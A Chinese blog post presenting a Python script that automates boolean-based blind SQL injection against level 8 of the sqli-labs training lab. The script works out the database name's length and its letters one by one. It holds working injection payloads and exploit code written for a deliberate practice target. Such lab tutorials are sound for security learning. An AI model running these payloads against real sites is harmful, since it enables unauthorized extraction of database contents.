首页 > 数据库 >sqli-labs靶场自动化利用工具——第8关

sqli-labs靶场自动化利用工具——第8关

时间:2024-09-11 17:50:43浏览次数:3  
标签:zh image labs sqli dblength 网安 靶场

文章目录

概要

Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生,或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢?可能有些人会说不是有sqlmap,那我们又何须使用这个小脚本呢?这里我统一回答,sqlmap只是一个工具,工具始终是不能代替人的思考。开发这个测试的脚本他都是有针对性的,他是针对每一关的精心设计。但凡脱离实际都是在空想。我也是一直围绕这个主题,所以想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有基础的网安人进行学习,学习网安路还是不能投机取巧的。

本章适合人群:

  1. 网安专业学生
  2. 报班学习网安内容的同学
  3. 提高写POC能力的网安从业者

整体架构流程

因为是sqli-labs的第8关,且我觉得名字很是麻烦,所以我在写脚本的时候错将sqli-labs写成了sql-libs请见谅。如果你有强迫症可以自行修改。

整体流程主要是仿爬虫的形式访问网页,之后将得到的数据记录在和py文件同一级的目录下面。

技术细节

import re
import requests

headers = {
    'Host': 'sql:8081',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
    'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
    'Accept-Encoding': 'gzip, deflate',
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1',
    'Priority': 'u=0, i'
}

pattern = r"You are in\.*"

url = 'http://sql:8081'

def brute_dblength():
    try:
        # 获取用户输入的最大长度
        max_dblength = int(input('数据库可能长度:').strip())
    except ValueError:
        print("请输入一个有效的数字")
        return None

    dblength = 1
    while dblength <= max_dblength:
        params = {
            'id': f"1' and length(database())={dblength}-- -"
        }
        try:
            response = requests.get(url + "/Less-8/", headers=headers, params=params, verify=False)
            html_content = response.text
            match = re.search(pattern, html_content)
            if match:
                print(f'{url} 存在漏洞,数据库长度为 {dblength}')
                return dblength
            else:
                dblength += 1
        except requests.RequestException as e:
            print(f'Error scanning {url}: {e}')
            return None

    print(f'数据库长度大于 {max_dblength},请尝试增加最大长度。')
    return None

def brute_dbname(dblength):
    dict_list = []
    for option1 in range(1, dblength + 1):
        found = False
        for number1 in range(97, 123, 1):  # 小写字母a-z
            params = {
                'id': f"1' and ascii(substr((select database()),{option1},1))={number1}-- -"
            }
            try:
                response = requests.get(url + "/Less-8/", headers=headers, params=params, verify=False)
                html_content = response.text
                match = re.search(pattern, html_content)
                if match:
                    print(f'{url} 存在漏洞,数据库第 {option1} 个字母对应的ASCII码为 {number1}')
                    dict_list.append(chr(number1))  # 将ASCII码转换为字符并添加到列表中
                    found = True
                    break  # 找到字符后跳出内层循环,检查下一个位置
            except requests.RequestException as e:
                print(f'Error scanning {url}: {e}')
                return None
        if not found:
            print(f'数据库名称的第 {option1} 个字符未找到匹配。')
            return None

    dbname = ''.join(dict_list)
    print(f'数据库名称为: {dbname}')
    return dbname


# 获取数据库名称长度
dblength = brute_dblength()
if dblength:
    # 利用数据库名称长度进一步获取数据库名称
    brute_dbname(dblength)

执行效果

小结

由于我的sqli-labs靶场是搭建在我的本机,所以使用代码时需要进行修改。

且想输出不一样的文件内容格式,也可以进行微调整。

最后还是那句话网安的路上不会一帆风顺,还需脚踏实地一步一个脚印的前行,仅用于POC的学习使用,其他使用与作者无关。

标签:zh,image,labs,sqli,dblength,网安,靶场
From: https://blog.csdn.net/CSDNagk1/article/details/142146562

相关文章

  • Rickdiculously Easy靶场渗透测试
    靶机下载地址https://www.vulnhub.com/entry/rickdiculouslyeasy-1,207/一.信息收集1.端口扫描nmap172.16.1.20-p--sV 发现还扫描出一个flag2.目录扫描二.获取shell和提权1、访问靶机IP地址2、拼接并访问robots.txt文件3、逐个访问,发现cgi-bin/tracertool......
  • RickdiculouslyEasy靶场
    1.使用nmap扫描C段,找到具体ip2.使用nmap扫描所有端口3.查看发现13337下找到个第一个flag4.使用xftp连接21端口查看,找到第二个flag.txt,查看,找到flag5.访问9090端口,发现页面显示,找到第三个flag 6.查看60000端口,发现是shell,尝试nc连接60000端口查看目录下文件发现第......
  • PTE-MG诊所靶场 wirteup
    一.信息收集1.端口扫描使用nmap进行扫描,结果如下┌──(kali㉿kali)-[~]└─$nmap-sV10.0.0.91StartingNmap7.94SVN(https://nmap.org)at2024-09-0921:37EDTNmapscanreportfor10.0.0.91Hostisup(0.027slatency).Notshown:993filteredtcpports(n......
  • pikachu靶场的详细搭建,附pikachu靶场源码下载链接
    一、安装好phpstudy首先搭建pikachu靶场的第一步,先是安装好phpstudy,这是一款集成环境的软件,里面包含了Apache,FTP,MySQL,Nginx。phpstudy的官方网址:https://www.xp.cn/download.这里就根据大家的需要,选择Windows版,查看电脑的型号选择对应的PhpStudyV8版本位数,但现在一般电脑配置......
  • linux虚拟机(centos)搭建sqli-labs
    1.开启小皮2.查看文件位置配置文件路径为/usr/local/phpstudy/soft[root@localhostsoft]#cd/www/admin/localhost_80[root@localhostsoft]#pwd/usr/local/phpstudy/soft网站根目录为/www/admin/localhost_80/wwwroot[root@localhostlocalhost_80]#cdwwwroot[roo......
  • pbootcms提示:“未检测到您服务器环境的sqlite3数据库扩展...”
    解决方法主要有两种,需根据具体情况进行选择。 第一种方法是将数据库配置连接驱动改为pdo_sqlite。首先,按照相关提示,把数据库配置连接驱动修改为pdo_sqlite。随后,可依照图文进行操作。具体而言,打开数据库配置文件,即位于/config/database.php的文件。在该文件中,找到'type'这......
  • ATT&CK红队评估(红日靶场1)
    前言博主小白一个,各位大佬勿喷,前前后后,学了挺久的,学了之后又忘了,因此来打红日靶场1巩固知识。文章写的不是很好,缺少很多细节,博主也是内网小白,很多都不懂,互相学习靶机介绍​本靶机环境是红日团队开源的一个红队实战测试环境,靶机下载地址如下:​http://vulnstack.qiy......
  • 玄机蓝队靶场_应急响应_44:流量分析-蚂蚁爱上树
    分析:1,现在有一段被getshell的流量,需要找出黑客都做了些什么。流量大概可以分成两种,http和tcp。先看http。2,发现蚁剑流量,所以先把蚁剑的执行命令先全部找出来。蚁剑流量过滤:##(过滤请求包)http.request.urimatches"product2.php.*"&&http.request.method=="POST"##(过......
  • Python使用sqlite数据库快速创建库和表
    一、安装SQLite1、下载sqliteSQLiteDownloadPage2、解压安装包3、设置环境变量二、快速创建库和表的代码importsqlite3importos#数据库文件名db_name='StarVerification.db'new_db_name_base='StarVerification_old.db'new_db_name=new_db_name_b......
  • 网站打开提示:”未检测到您服务器环境的sqlite3数据库扩展...“
    当网站打开时提示“未检测到您服务器环境的sqlite3数据库扩展”,这表明您的服务器上缺少SQLite3扩展,或者虽然安装了SQLite3扩展,但是PHP并未正确配置来使用它。以下是一些排查和解决这个问题的方法:1.检查SQLite3扩展是否安装首先,您需要确认SQLite3扩展是否已经安装在您......